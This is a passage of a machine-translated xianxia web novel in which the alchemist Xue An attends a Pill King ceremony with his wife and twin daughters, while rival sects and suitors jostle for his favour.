    With that said, this person also opened his jade box.


    The gift this person brought was more valuable than that night.


    This is a start.


    The children of these sect families began to present gifts to Xue An one after another.


    All kinds of precious lights dazzled the hall of Judan Palace, making people afraid to look directly.


    Not only that, these people were also afraid that Xue An would not accept it, and they rushed forward one by one, wanting to be the first to deliver the gift.


    The sight of rushing to give gifts made Dong Lingxin and the others bewildered.


    However, Xiao Dancheng looked at him with no surprises.


    As an alchemy master, Xiao Dancheng naturally understood what a heavenly rank meant.


    Knowing that he was just a yellow-order alchemist before, he was very respected.


    Not to mention a heavenly alchemist.


    At this time, I saw Xue An waved his hand gently, "I take everyone''s wishes, but please take these gifts back!"


    The crowd was quiet, and then everyone shouted, "Master Xue, please accept it!"


    "Yes! This is what we have for you!"


    Xue An smiled, "No need!"


    Everyone looked at each other now, and none of them dared to say anything.


    Because none of them knows the temperament of the new king Dan. If he is annoyed by this incident again, wouldn''t it be self-defeating?


    at this time.


    Another group of people walked into Judan Palace.


    It is the group of judging elders who take the lead.


    Followed by many alchemists from the Alchemy Guild.


    The appearance of these people wearing various Dan robes made the atmosphere in the hall become sober.


    Then these people walked straight to Xue An and bent over towards Xue Anqi.


    "Master Dan!"


    Xue An said indifferently: "Get up! And I don''t plan to be your pill king, don''t have to be so polite!"


    The leading elders showed a bitter smile upon hearing this, and then stepped forward and said respectfully.


    "Whether you like it or not, since you have already proven the Dao Heavenly Rank, that is the new Pill King recognized by all of us!"


    Xue An was a little bit dumbfounded by these people''s words, so he had no choice but to laugh.


    "Forget it, just call if you want! What''s the matter?"


    "My Lord Dan, all our colleagues from the Alchemy Association have held a grand ceremony of the Dan King for you. It will be held in the Dan Lou tonight. Please enjoy it!"


    Xue An slightly hesitated, but when he noticed the ardent gazes of these gray-haired elders, he couldn''t help nodding.


    "Alright, then I will go once!"


    These people were overjoyed, "Thank you Lord Dan!"


    The members of the aristocratic family who were present looked at each other, and they all saw the surprise in each other''s eyes.


    This time it didn''t come in vain. Now that I knew the news, even if my head was sharpened, I had to find a way to get in.


    quickly.


    The news that the King of Alchemy Ceremony will be held in the Danlou tonight spread throughout Banten City.


    But at this time.


    Lu Baiyue was waiting for the arrival of a group of people in her home.


    Finally, in the palm of the light.


    More than a dozen extremely magnificent carts flew from the sky and landed in the courtyard.


    Lu Baiyue hurried out of the door and came to the courtyard to stand with her hands down.


    I saw a group of people walking down from the chariot. The leader was a middle-aged man who was dressed in plain clothes and didn''t feel angry.


    "Father!" Lu Baiyue hurriedly bowed his head when he saw this person.


    The visitor was the head of the Lu family of Chaotianfang, who was also Lu Baiyue''s father, Lu Lie.


    Although everything went wrong during this time, even the ancestral land was destroyed.


    But when he saw his second daughter, he couldn''t help showing a loving smile.


    Few fathers don''t like their daughters, not to mention that Lu Baiyue''s talent on the alchemy is very good, and he is already an alchemist at the pinnacle of the mysterious order at a young age.


    He naturally has to pay more attention.


    After he walked into the room and took a seat, Lu Lie smiled lightly: "Yue''er, you sent a letter back in a hurry, is that man really that powerful?"


    Lu Lie came here because Lu Baiyue immediately repaired the next letter from the family after yesterday''s incident, and then ordered people to send it home at a hurried speed.


    In the letter, Lu Baiyue wrote very clearly that this person will be of great help to the future development of the Lu family. If possible, I hope my father can come here in person.


    Because of this, Lu Lie didn''t travel far and rushed over in person.


    Lu Baiyue nodded and said solemnly: "Father, the words and sentences in the letter are true. If nothing else, it is sufficient to prove that he is the only one who has successfully proved Dao Tian-rank alchemist in thousands of years. The value of it!"


    Lu Lie nodded, "What do you mean..."


    "Father, in my opinion, we must win this person at all costs!"


    Hearing her daughter''s words so strong Lu Lie couldn''t help but change slightly.


    Lu Baiyue also saw this, and then said: "Father, our Lu family has just experienced a major change, and many forces are secretly watching, so we must increase our strength as soon as possible! And this man is the best help. !"


    "The joining of a heavenly alchemist can at least guarantee our Lu family''s safety for twenty years!"


    Lu Lie was successfully moved by his daughter''s words, "That''s good! What should I do next?"


    "Father, there will be a grand ceremony for the King of Pill tonight in the Pill Building, and it will be time for our Lu Family to appear. After all... in the world, there seems to be no richer than our Lu Family!"


    Hearing this sentence, Lu Lie laughed.


    "Haoyue''er, that''s pretty good! If you say you spend money, then our Lu family hasn''t been afraid of anyone!"


    "Tonight, we will go to the Pill King Ceremony together. I also want to see how elegant this newly promoted Pill King is!"

 Chapter 782： Shenpin Zongmen

    At night.


    Banten City became more and more lively.


    And the Danlou in the center of the city is even more brilliantly lit at this moment, even more than half of the night sky is reflected in red.


    And in the sky, flying boats and chariots are constantly coming, leaving the stream of light that persists in the night sky, like a dense ball of thread, cutting the darkness to shreds.


    "Hey, the Chen family, the Liu family, the Wu family... actually came so many wealthy families! And Long Xiangshan, Fengming Pavilion and other exquisite sects are all here! This kind of battle is truly unprecedented!" Someone was standing on the street, looking up at the flying boat and car that filled the sky, and exclaimed.


    "Hehe, believe it or not, it''s because the time is too hasty, otherwise there will be more sect families coming!" A cosmo-level alchemist standing beside said lightly.


    "Is this Celestial Alchemist really that powerful? It provokes so many wealthy sects to come one after another!" said a young teenager somewhat puzzled.


    The Yu-ranked alchemist''s face sank when he heard the words, and then glanced at the young man coldly, "It''s ridiculously ignorant! Not to mention the heavenly-ranked alchemist, it''s an ordinary mysterious-ranked alchemist, no matter what. Everywhere is highly respected, not to mention that this adult is the only one who has witnessed the Dao in a thousand years! The ancestors of these wealthy sects need to be assisted by the alchemy and even the holy alchemy if they want to diligently. You said they could not be so respectful?"


    The young man was speechless by these words, and his face flushed.


    And this Yu-rank alchemist looked up at the sky full of grand occasions, and said longingly: "I don''t know when I will be able to advance to the Profound Stage!"


    At this moment, the crowd suddenly made a noise.


    "Look at the sky!"


    "Gosh! What is that?"


    Everyone looked up.


    Seeing a huge boat slowly flying from the sky.


    This boat is similar to a small city, it is very big, with colorful jewels embellished on it, a scene of a fairy family.


    "This...this is the boat of Yuxu Palace!" someone exclaimed.


    Yuxu Palace!


    Hearing these three words, the crowd onlookers couldn''t help but startled.


    "Even the imperial palace of the Shenpin Zongmen is here! This grand ceremony really shocked all the bigwigs!" Someone sighed.


    You must know that in Guiyi Star, sects are also divided into three, six, nine levels.


    General sects are called Fanpin, and these sects are generally composed of ordinary people, and the masters of the sects are no more than the cultivation of immortals.


    And further up is the Peerless Sect, and the Dragon Xiangshan Fengming Pavilion and other sects that came today belong to this list.


    Since it is known as an exquisite product, it naturally has its advantages.


    The masters of these superb sects generally have the cultivation base of the peak of longevity and even the half-step golden immortal, and they are already strong men who guard one side.


    But above this, there are some sects.


    The strength of these sects may not be as good as Santianzong, but they are by no means weak.


    The head masters are all golden immortal powerhouses, and some have even reached the golden immortal peak and have the strength to aspire to true immortals.


    Among them, the most representative, even known as the Little Heavenly Sect, is the Imperial Palace.


    Shenpin Zongmen No. 1 is not just nonsense.


    Just looking at this flying boat that looks like a small city, you can see its strength.


    At this time, the flying boat of the Imperial Palace slowly approached the Danlou.


    Such a big momentum has naturally alarmed all the family sects.


    These people all stood in the void, watching this scene with different expressions.


    "Why did Yuxu Palace come so quickly?"


    "Yeah! Looks like I''m still prepared!"


    "Now we little sects have no chance to get ahead!"


    People from the superb sects like Long Xiangshan and Fengming Pavilion had very ugly faces.


    They wanted to take advantage of this opportunity to make a wave of favor in front of the new King Dan.


    Unexpectedly, the imperial palace would move so fast, and he arrived at this time.


    When everyone is thinking about it.


    I saw a glorious brilliance rising to the sky in this boat, and then a young man wearing a black robe, with a pale complexion, and his eyes full of indifferent brilliance, appeared on the bow of the ship.


    I saw this person.


    The crowd was startled first, and then there was a violent commotion.


    "It''s Ling Ruoxu!"


    "The true biography of the Yuxu Palace came in person, and now we have no chance!"


    Many sect children said desperately.


    No wonder they are so desperate.


    Because the true legend of the Yuxu Palace is too strong.


    When he was less than two hundred years old, he had become a strong golden immortal.


    After so many years of cultivation, his strength is even more unfathomable.


    Some people say that he is the first person outside the questioning list, and even the next person who has the most chance to enter the questioning list is him!


    At this moment, Ling Ruoxu stood with his hand on the bow, and the clothes on his body were hunted by the wind.


    He raised his eyes and glanced at the cultivators opposite, a sneer of disdain gradually emerged from the corner of his mouth.


    Because he found that none of these people came to be strong.


    There is not even a descendant of the Shenpin Sect.


    So he didn''t bother to say hello to these people.


    At this time, several elders of the Alchemy Guild flew into the air. They were Ling Ruoxu at first sight, and they couldn''t help but also looked serious, and said, "It turns out to be Lord Ling from the Imperial Palace!"


    Ling Ruoxu nodded slightly, and then said lightly: "Is this the venue for the ceremony of the new King Dan?"


    "Yes!"


    "Very good! I happened to be patrolling the surrounding area this time, and I heard that someone had proved that a heavenly alchemist became a new alchemy king, so I stopped by and took a look! I hope I won''t be disappointed!"


    These words are very arrogant.


    Many alchemists in the alchemy guild showed uneasy expressions.


    But these elders of the Alchemy Guild were all very mature and respectful, and only smiled upon hearing this.


    "Master Ling came a little earlier, the ceremony hasn''t officially started yet, please come in and take a seat!"


    Ling Ruoxu nodded, "Also!"


    Having said that, he stepped forward in one step, and his whole person disappeared in the same place in an instant. When he appeared again, he had already arrived in the Danlou.


    One step spans thousands of feet.


    This is nothing unusual, many people can do it.


    But there is no smoke or fire like him, but many people can''t match it.


    At this point, you can see how powerful this person is.


    The elders of the Alchemy Guild accompanied this Ling Ruoxu to drink tea on the high platform in the Danlou Hall and many alchemists who stayed outside looked at each other and saw what they saw in each other��s eyes. A touch of solemnity.


    The Ling Ruoxu of the Yuxu Palace seems to be unkind!


    at the same time.


    Xiao Dancheng and Dong Lingxin came to the back of Judan Palace, in the house where Xue An''s family lived, and wanted to invite Xue An to the Danlou.


    Just entered the yard.


    I saw Xiangxiang and Niannian playing a game of losing the ball.


    I saw a billowing pill flying around in the air, very lively.


    At the beginning, the two of Xiao Dancheng didn''t care.


    When I took a closer look at this pill, I couldn''t help being stupid.


    "This...Isn''t this the Supreme Divine Pill that the adult witnessed to the heavenly ranks?" Xiao Dancheng''s voice trembled a little.

 Chapter 783： Then let them wait!

    You must know that this supreme crossing emperor pill is likely to be the only holy pill in the entire region.


    Xiao Dancheng believed that many members of the family sect were willing to pay any price for this pill.


    So he never dreamed of it.


    Such an extremely precious pill was actually kicked around as a shuttlecock by the two little girls.


    This made his heart touch his throat, and his head moved back and forth with the pill that was flying around in the sky.


    As for Dong Lingxin, she was already silly just now.


    "Grandpa Xiao, Sister Dong, you are here!"


    At this time, the two little girls also noticed the incoming person, so they stopped the game and asked pretty playfully.


    "Come... here!" Xiao Dancheng wiped the cold sweat from his forehead, and then said cautiously.


    "Two girls, the pill you are playing with is..."


    Think of the pill that was raised casually in his hand, and the bluffing Xiao Dancheng was all over.


    But thinking about it, he smiled and said, "Daddy played this for us! What''s wrong? Is there any problem?"


    The cold sweat on Xiao Dancheng''s forehead was even more, "No...nothing!"


    But he couldn''t help muttering in his heart.


    Throw a precious sacred pill to the two little girls to play.


    His own adult is really...willful!


    At this moment, Xue An opened the door and walked into the courtyard, and then smiled at the two little girls: "I miss you, so hurry in, mom wants you to change clothes!"


    "But Dad, we still want to play!" Think about it.


    Xue An blinked, "Mom has prepared very beautiful new clothes for you, and when you change, Dad will take you to a big meal!"


    Upon hearing this, the eyes of the two little girls lit up.


    Especially Nian Nian.


    For a senior foodie who is only seven years old, the allure of food is obviously huge.


    So she cheered and rushed into the house, "Going to have a big meal! Whoever runs slowly is a puppy!"


    After this little Niannian, I didn''t forget to cheat my sister.


    But think about how it is the kind of bullying, I saw her rushing up with her teeth and claws, "Silly Niannian, you are dead! Don''t let me catch you, otherwise I will glue your mouth. , And eat so many ice creams in front of you!"


    Xue Nian giggled and said, "Then you catch me first!"


    Xue Xiang chased after a few steps, but stopped chasing, a sly look flashed across his small face, then cleared his throat and said, "I won''t catch you. Anyway, whoever runs faster is a pig!"


    Xue Nian ran a few steps forward, but finally stopped with some hesitation.


    But she just stopped.


    Xue Xiang suddenly speeded up and rushed to the front, then burst into laughter.


    Xue Nian realized that he was being fooled and stomped his feet with anger, "Sister! You are a big idiot!"


    "Rebounce everything bad!"


    "The rebound is invalid!"


    "Invalid and rebound!"


    "You shameless!"


    "I''ll play!"


    The two little sisters just ran into the house after you chased me.


    Xue An kept watching this scene with a smile, until the two daughters walked into the room and couldn''t see it anymore, then turned his head and looked at Xiao Dancheng and others.


    Xiao Dancheng, Dong Lingxin and others hurriedly bowed to salute.


    "grown ups!"


    Xue An nodded slightly, "Is the time up?"


    Xiao Dancheng nodded, "It''s almost there, all alchemists in the guild have gathered in the alchemy tower, and the powerhouses of all domains are almost here! Should we also leave?"


    Xue An nodded, "Well, wait a moment, Yan''er is putting on makeup, it will be fine in a while!"


    "Yes!" Xiao Dancheng hurriedly lowered his head in response.


    But Dong Lingxin, who was standing behind him, didn''t take it seriously.


    She had met An Yan, and therefore she always felt that this woman was a little unworthy of Xue An.


    Especially now Xue An has become the king of pill.


    The "Mediocre" woman is even more shabby and can''t handle it anymore.


    Therefore, she has always been a little curious, why does this Lord Dan have such respect for that woman?


    But she didn''t even know that what she saw was Anyan who had used illusion to cover her true appearance.


    Time passed by minute by minute.


    In the blink of an eye, it was another half an hour.


    But An Yan still didn''t come out.


    Xiao Dancheng was a little anxious, "My lord, the preparations are already complete over there, just waiting for you to come on stage, do you think it can be faster?"


    Xue An was not at all anxious, instead the old **** was sitting on the chair in the hall and drinking tea.


    After hearing Xiao Dancheng''s words, he just smiled, and then said lightly: "Don''t worry, you have to live your life when a woman puts on makeup, and it''s just over an hour! It''s too early!"


    Xiao Dancheng sounded a little silly.


    For people like them, I have never thought of waiting for a woman to put on makeup, and they have to wait so much.


    Isn''t a woman just used to show off her status and to pass on the family?


    Xiao Dancheng couldn''t understand.


    Dong Ling''s heart brightened.


    The phenomenon of inferiority between men and women is extremely serious in this world.


    Only when women become strong, or like Lu Baiyue, can they win people''s respect.


    The rest simply became men''s vassals.


    Dong Lingxin used to be very angry about this, but after a long time and more knowledge, she gradually became numb, and even began to think that everything should be like this.


    However, Xue An''s actions today shocked Dong Ling''s heart.


    At least she had never heard of any strong person in Zhongyu who could wait for her own woman to put on makeup like Xue An.


    For no reason, Dong Lingxin added a bit of envy to An Yan.


    With such a respectful husband, life will surely be very happy.


    So everyone waited in the courtyard for another quarter of an hour.


    Seeing the noise outside is getting louder and louder.


    Xiao Dancheng was really anxious, and couldn''t help but said, "My lord, should we go first and let Lingxin stay. After the lady puts on makeup, they will go back together?"


    Xue An took a sip of tea slowly, then shook his head silently. U U Reading


    "But if it''s late, you all are waiting."


    Xue An raised his eyes and glanced at him, then said lightly: "Then let them wait!"


    One sentence made Xiao Dancheng swallow the rest of the sentence.


    Xue An was really not in a hurry. He didn''t even bother to attend the King of Pill Ceremony. It was just these people who insisted on doing it once.


    As for how many powerful leaders came, how did they wait.


    That has nothing to do with Xue An.


    In his opinion, even if the king of heaven is here, he has to wait until Yan''er finishes his makeup.


    at last.


    After Xue An drank another cup of tea, he heard a crisp sound of footsteps behind him, and then a shy female voice said.


    "Husband, do you think I can wear this body?"

 Chapter 784： Bright eyes and white teeth, smile like a flower

    Xue An turned to look.


    Seeing that An Yan, who had already removed the illusionist disguise, was wearing a costume dress, standing in front of the door, smilingly looking at herself.


    For an instant, Xue An was suddenly in a trance.


    It was as if time had suddenly reversed at this moment, and he had returned to his college days, back to the morning when he first saw An Yan.


    Anyan back then was just like now.


    Bright eyes and white teeth, smile like a flower.


    "Husband, isn''t it good-looking?" Seeing Xue An''s silence for a while, An Yan asked a little bit cramped.


    This sentence pulled Xue An back from the memory, and a big smile gradually bloomed on his face, and then said in an extremely positive tone.


    "Good-looking! My Yan''er is the best-looking in the world!"


    Hearing Xue An''s straightforward praise, An Yan was ashamed and happy, lowered his head and fiddled with the corners of his clothes nervously, and then said lowly: "Hate, so many people are watching!"


    Seeing the look of An Yan''s little daughter, Xue An felt that his heart was about to melt, and immediately smiled.


    "What if someone looks at it? My Yan''er is the most beautiful in the world. I have to say the same when anyone comes."


    With that, Xue An glanced at Xiao Dancheng, Dong Lingxin and others.


    The few who had been stunned by An Yan''s shocking appearance just woke up like a dream, and hurriedly lowered their heads not to look again.


    Xiao Dancheng is better.


    He has seen An Yan''s true face at least a few times.


    Dongling''s heart is different.


    At this moment, the female treasurer of Judan Palace, as if a stormy sea was set off in her heart, was full of shock.


    It''s not that Dong Lingxin has never seen a beauty, but in fact she is a standard beauty.


    But it wasn''t until she saw An Yan that she deeply understood the meaning of the words "Qing Guo Qingcheng".


    Unlike those noble or delicate or seductive or pure beauty, Anyan''s beauty is the kind of beauty that has no dead ends in all directions.


    You can''t even pick out any flaws and flaws.


    It was this kind of crushing from all directions that made Dongling feel deeply embarrassed.


    And the look of An Yan''s little daughter in front of Xue An made Dong Ling smile bitterly.


    She finally understood why Xue An loved her wife so much before.


    No one can resist this charm.


    Dong Lingxin even felt that if he were a man, he would do the same.


    When I remembered that he had just laughed at others for "being mediocre", Dong Lingxin felt that he wanted to cry.


    If this is mediocre, all women in the world won''t have to live.


    "Mom and Dad, let''s go!"


    At this time, the two little girls also came out jumping.


    Seeing these two little girls, Dong Lingxin and others couldn''t help but shine again.


    Because these two little girls are so cute.


    I saw the two of them wearing ancient costume skirts of the same color as An Yan, with their jet-black hair twisted into a small bun, revealing their pretty cheeks with a hint of baby fat, like two from ancient times. The little fairy walking out of the painting.


    Especially the two of them looked exactly the same, and when they stood together, their lethality soared exponentially.


    At least Dong Lingxin was dazzled and dazzled, wishing to rush forward now, pick up one and take a good kiss.


    Xue An smiled at this moment, "Okay, let''s set off now!"


    Just when Xue An''s family went to the Danlou.


    In the hall of this Danlou, there are already a lot of people, and it is very lively.


    The powerful from all over the world gathered here and were talking about it.


    Many alchemists are also 30-50%* of each other''s alchemy experience.


    And in the corner of the hall, there is a special group.


    I saw the well-dressed daughters of the aristocratic family get together, and they were laughing and talking about something, and there were bursts of laughter, which attracted the attention of many men in the hall.


    After all, the gathering of so many beautiful girls is a very eye-catching scene in itself.


    What''s more, the girls attending this grand ceremony today all tried their best. All of them were struggling to compare the other side''s limelight.


    This makes many people feast their eyes on it.


    now.


    Among these girls, a girl in purple clothes said impatiently.


    "It''s already so late, how come this Lord Dan hasn''t come yet?"


    "Who said no? When is this, why hasn''t it arrived yet?" A girl in a green dress on the side also said with some dissatisfaction.


    "You can go back if it is too much trouble, and no one is forcing you to wait here!" A girl in a red dress described the glamorous sneer.


    "Shangguanyan, did you deliberately be against us everywhere? Want to let us go, you really want to do your best to get close to the new king of pill? Tell you, no way!" The purple-clothed girl was obviously angry and said angrily.


    The red-clothed girl sneered for a while, "You didn''t seem to have come with this idea!"


    "you����."


    "Okay, okay! Stop arguing! So do you two, you have to pinch when you meet, is it interesting? Besides, is this new king Dan really as good as you said? Don��t be an old and ugly guy. !" The girl in the green skirt came forward to discourage her.


    But her words stabbed a hornet''s nest.


    Many girls who have been watching with cold eyes are all a little uncontrollable at this moment, and they have spoken and accused.


    "Nangong Yao, if you persuade it, please persuade it. Don''t involve Lord Dan!"


    "That is, you have never seen Lord Pill at all. If you have seen it, you would not have said this!"


    "Yes, just shut up if you don''t speak!" Someone said rudely.


    Nangong Yao was so shocked that he couldn''t get off the stage, and couldn''t help but said: "I''m also wondering, didn''t you just meet each other? How come all of them seem to be deviled, and they are not even allowed to say something about him?"


    "Because Lord Dan himself is so good!" said a girl.


    "Correct!"


    "Yes!"


    Nangong Yao pouted her mouth I don''t believe it! High-ranking alchemist is not an old man with a lot of beards, even if he is younger, how handsome can he be? "


    "How handsome can he be? Haha!" The cold-faced Shangguan Yan couldn''t help but sneer, and then a fascinating light appeared in his eyes.


    "You haven''t seen that picture. The moment he puts on the white pill robe, you will feel that the whole world is not important! The sky and the earth, the rolling sentient beings, are all eclipsed in front of him!"


    "He just stood there quietly, and the arrogant attitude caused the wind to stagnate!"


    "But the most fascinating thing is his eyes, because in his eyes, there is a domineering domineering all over the world!"


    "I have never seen a man who is one percent of his excellence!"


    The Shangguanyan almost whispered, the expression on her face almost pious.

 Chapter 785： Is this what you call mediocrity?

    But many girls do not feel exaggerated at all, but deeply agree.


    Even the questioning Nangong Yao was stunned.


    Only the purple-clothed girl who started grumbling sneered, "Shangguanyan, you see that your saliva is almost flowing out, it''s like a nympho!"


    Shangguanyan glanced at the purple-clothed girl, and then said coldly: "Yes, I''m just a nympho, how?"


    The purple-clothed girl chuckled, "Not very good, but how did I hear that King Xue Dan already has a wife?"


    Hearing her words, many girls in Shangguanyan looked at each other and then all smiled.


    "Of course we know this, and Master Xue not only has a wife, but even a child!" Shangguan Yan said lightly.


    "Then what do you guys..." the purple-clothed girl said with some surprise.


    Shangguan Yan laughed, "Because we heard that this Mrs. Xue''s wife is a very mediocre woman!"


    "Yes, I heard people say that this woman has a good figure, but it''s a pity that her face is so mediocre that she can''t compare with us at all!"


    Shangguanyan went on to say at this time: "All the sisters come here, I think they are all from their respective families! Next, it will all depend on their own abilities! Anyway, this Master Xue, I am bound to win! Because I believe No man in the world can refuse me!"


    This Shangguanyan is full of strong self-confidence in her words, and she speaks decisively and decisively.


    In fact, this Shangguanyan relied on the pampering of her parents in her family, and always said it was the same.


    This time I came to Banten City to watch the excitement, and happened to encounter Xue Anzheng Dao Heavenly Step.


    She was deeply impressed by Xue An''s temperament at the time, and believed that he was the person she wanted, and her parents were very supportive after learning about it, so she made such a domineering declaration.


    Shangguanyan''s words made many girls uncomfortable, and many people secretly made up their minds, this time they must compete with Shangguanyan.


    At this moment, hearing a commotion at the door, Lu Baiyue and her father Lu Lie and the others walked into the hall.


    Chaotianfang Lu''s family was wealthy and famous, so when they appeared, they immediately became the focus of everyone.


    "I have seen Family Master Lu!"


    "Hello, Lord Kisaragi!"


    These greetings came one after another, echoing in the hall.


    Lu Lie nodded in greetings frequently, smiling very brightly.


    At this time, an elder from the Alchemy Guild came over, "It''s really an honor for Family Master Lu to be here! Please come to the table soon!"


    After speaking, he personally led the way and led the Lu family to the high platform.


    The girls like Shangguanyan naturally saw this scene.


    Especially when she saw Lu Baiyue with her eyebrows like a knife, many girls couldn''t help but sigh.


    "Speaking of this, Lu Baiyue is about the same age as ours, but she is already a Profound Rank Alchemist now, and even this kind of event can be invited to the table!"


    Shangguanyan watched all this silently, her cold eyes gleaming with brilliance, as if she was thinking about something.


    On the high platform, Ling Ruoxu glanced at Lu Lie with a smile, and then cast his gaze to Lu Baiyue who was aside.


    "Miss Baiyue, last time I said goodbye, it should have been three years since I saw you!"


    Yuxugong has many business contacts with the Lu family, so they are very familiar with each other.


    But Lu Baiyue didn''t catch a cold with Ling Ruoxu.


    Because she could perceive the greed in Ling Ruoxu''s eyes.


    So she just nodded slightly, but didn''t say a word.


    A flash of cold light flashed in Ling Ruoxu''s eyes, and he secretly hated.


    He had met this Lu Baiyue more than once, but it was always the same every time. No matter what he said, Lu Baiyue seemed to ignore it.


    This made Ling Ruoxu really upset.


    Especially this time.


    Ling Ruoxu secretly said in his heart, what are your Lu Family pretending to be here!


    Now the big sect of Zhongyu, who doesn''t know what happened to your Lu family.


    The eldest son was killed, and even the ancestral land was destroyed.


    As a result, you have not been able to find the murderer.


    If your Lu family can''t solve this matter this time, they will definitely end up in this situation.


    At that time...huh!


    Ling Ruoxu thought about it in his heart.


    It is already late at the moment.


    But the protagonist that everyone was waiting for, the new King Dan still did not appear.


    Therefore, there was noisy noise in the whole hall.


    "What''s the matter? Why haven''t you come?"


    "Yes! I''ve been waiting for so long, why hasn''t this king Dan appeared yet? This is a bit too big!"


    These clamors are getting louder and louder, and there are even faint signs of uncontrollable.


    The elders of these alchemy guilds all looked surprised.


    How could things suddenly show signs of losing control?


    Could someone make a ghost behind?


    Ling Ruoxu sat on the chair, a touch of color faintly appeared at the corner of his mouth.


    But at this moment.


    Just heard a sound of exclamation outside the hall.


    Then Xue An walked in.


    His appearance delighted the many girls in the corner of the hall.


    Especially Shangguanyan, she stood up excitedly, and wanted to pass.


    But as soon as she took a step, she stopped.


    Because behind Xue An, a woman in a costume dress appeared.


    The beauty of this woman has exceeded the ability of words.


    Even Shangguanyan and others, who are also women, were all stunned on the spot.


    This is true even for girls, let alone men.


    Seeing that the whole hall gradually became quiet, everyone looked at An Yan blankly.


    With so many gazes, An Yan''s face turned red at a speed visible to the naked eye, and then shyly hid behind Xue An, afraid to show her head.


    This caused many people to sigh uncontrollably.


    Then I heard a childish voice say: "Dad, when do we have a big meal?"


    When everyone heard the sound and looked at it, they discovered that there was a pair of little girls who followed them like pink jade.


    This is even more shocking to many people.


    The most shocked were the wealthy daughters who came here to wait early.


    They had originally thought that they could take this opportunity to build a relationship with the new King Dan.


    But Anyan''s appearance ruthlessly shattered the fantasy of these people.


    Under An Yan''s beauty, these girls didn''t even have the courage to come forward and strike up a conversation.


    At this time, the purple-clothed girl said in an incredible tone: "Is this the mediocre woman you are talking about?"


    This question makes many girls feel bitter.


    Especially Shangguanyan, she looked at Xue An idiotically.


    But the heart gradually sank.


    I thought she knew that she had no chance at all.


    Lu Baiyue was also disturbed, and she was also surprised by An Yan''s beauty.


    But she also felt a little uncomfortable in her heart.


    But at this moment, she heard Ling Ruoxu''s greedy voice coming from her side.


    "What a beauty!"

 Chapter 786： Do you dare to **** the things I reward him?

    The elders of the Dandao Guild stood up to greet them.


    "Welcome your lord!"


    Xue An nodded.


    then led An Yan and others onto the platform.


    So far.


    The Danwang Festival officially began.


    Countless people were secretly watching Xue An and An Yan beside him, and then began to whisper.


    "Is this the new King Dan? Looks so young!"


    "Who would say no, aren''t those alchemists all gray-haired old men? Why are such young men suddenly here? Is it okay?"


    "Hey, this woman is so beautiful! Even the female disciples of Bliss Fang that I have seen are more beautiful!"


    "Don''t brag anymore, have you seen the female disciple of Bliss Fang?"


    "Who said I haven''t seen it? Not only did I have seen it, but they also had a few words with me!"


    "Yeah, what I said is the same as the real one, just like you, I guess I really saw the disciple of Bliss Square, I was scared to pee at that time!"


    These jumbled people are waiting to say something messy.


    But those from the sect family are all quietly watching Xue An.


    They came to have a relationship with Xue An, but they have never seen each other before. This time they have the opportunity, so naturally they have to think of a solution!


    And Lu Lie also whispered to his daughter at this time, "Is this the King Pill you mentioned?"


    Lu Baiyue nodded.


    Lu Lie was a little thoughtful, because he always felt that the aura on this man was very familiar, but he couldn''t remember where he had seen him.


    At this moment.


    I saw Long Xiangshan''s disciple Wu Haoyang stood up first, walked quickly to the high platform, and gave a salute to Xue Anshen.


    "Master Xue, Long Xiangshan congratulates you on enlightening to the heavenly ranks. These are some congratulatory gifts, not a respect!"


    said, he handed a gift list.


    Xue An knew what these people were thinking, so he didn''t even read the gift list, but said indifferently: "Let''s talk, what do you want me to do?"


    Wu Haoyang was overjoyed when he heard this, but still calmly said: "My lord, my master has been trapped in the half-step Golden Immortal realm for hundreds of years. Going to the Eshen Pill, then my master still has a glimmer of hope."


    "Why don''t your master come here in person?" Xiao Dancheng on the side suddenly asked.


    Wu Haoyang smiled wryly, "My master has been in retreat for 30 years, he said, if he can''t break through that step, he will retreat to death!"


    Speaking of this, he thumped and knelt on the ground.


    "My lord, please help, even if you ask a price, I only hope that you can give this pill to save my master''s life! All the disciples of Long Xiangshan are willing to pay any price for this!"


    As he said, Wu Haoyang knocked his head bang.


    "Dad, this uncle is so pitiful! You can help him!" I thought about it and said suddenly.


    Xue An smiled, "Well, since I think about it, then I''ll help him!"


    then lightly said: "Get up!"


    Wu Haoyang raised his head when he heard it, looking at Xue An hopefully.


    Xue Anshun picked up the Supreme Crossing God Pill on the table and threw it directly.


    Wu Haoyang reached out his hand and grabbed the pill.


    At this time, I heard Xue An said: "You can be regarded as a piece of filial piety, and this medicine will be given to you!"


    When ���� came out, the audience was in an uproar.


    The eyes of countless family sects are red.


    That is a holy pill.


    was rewarded so casually?


    Xiao Dancheng couldn''t help it at this time, "My lord!"


    Xue An waved his hand and motioned him not to speak.


    And Wu Haoyang also recovered from the shock. He looked at the Supreme Transcending God Pill in his hand, and his tears flowed down. Then he banged his head at Xue An, choked and said, "My lord, yours. Great kindness, the people going down and down Long Xiangshan are not unforgettable. When my master leaves the customs, we will come to thank you personally!"


    Xue An gave a noncommittal smile.


    The holy pill, which is extremely precious in the eyes of others, is nothing to him.


    After all, this Guiyi Star is vast, but the level of alchemy here is very average, and the elixir that grows in it is not very good.


    So if it is divided according to the pill of the heavens and the world, this holy-rank pill is not qualified at all.


    As long as Xue An thinks about it, he can make a pile of pills like this.


    So Xue An waved his hand, "Okay, go down!"


    "Yes!" Wu Haoyang replied respectfully, getting up and leaving.


    But at this moment, Ling Ruoxu, who had been drinking on the high platform, suddenly said indifferently, "Hold on!"


    As soon as these words came out, Wu Haoyang stopped his figure and turned his head to look.


    After seeing Ling Ruoxu calling him, his expression instantly became ugly.


    But still reluctantly handed over: "Do you have any instructions from Master Ling?"


    "Wu Haoyang, did you leave like this after getting the pill?"


    "What does Master Yiling mean?" Wu Haoyang asked in a deep voice.


    "Hehe, have you forgotten the account between Long Xiangshan and our Yuxu Palace?"


    Hearing this, Wu Haoyang��s complexion became more difficult to look, but he still said with composure: ��Of course I have not forgotten, but this year��s spar has not been mined yet, but there will be three more months at most. Give them all!"


    As he said, Wu Haoyang lowered his head, his eyes gleaming with humiliation.


    Because Ling Ruoxu''s so-called account is simply the product of bullying.


    Long Xiangshan is not far from this Yuxu Palace, but because of the difference in strength , Yuxu Palace uses its power to suppress people, saying that it provides shelter to the people of Long Xiangshan, but the premise is that Long Xiangshan will More than half of the annual income is turned in.


    The people of Long Xiangshan certainly wouldn��t agree, so the people of Yuxu Palace killed three heads one after another.


    In desperation, Long Xiangshan''s talent reluctantly agreed.


    This is also the reason why the current head of Long Xiangshan would close the door to obtain the Golden Immortal.


    Because Long Xiangshan has lived too humiliated these years.


    Only when you become a strong Golden Immortal can you be considered a foothold in Guiyi Star.


    Moreover, Wu Haoyang also knew very well that the so-called accounts that Ling Ruoxu said all the time were just an excuse.


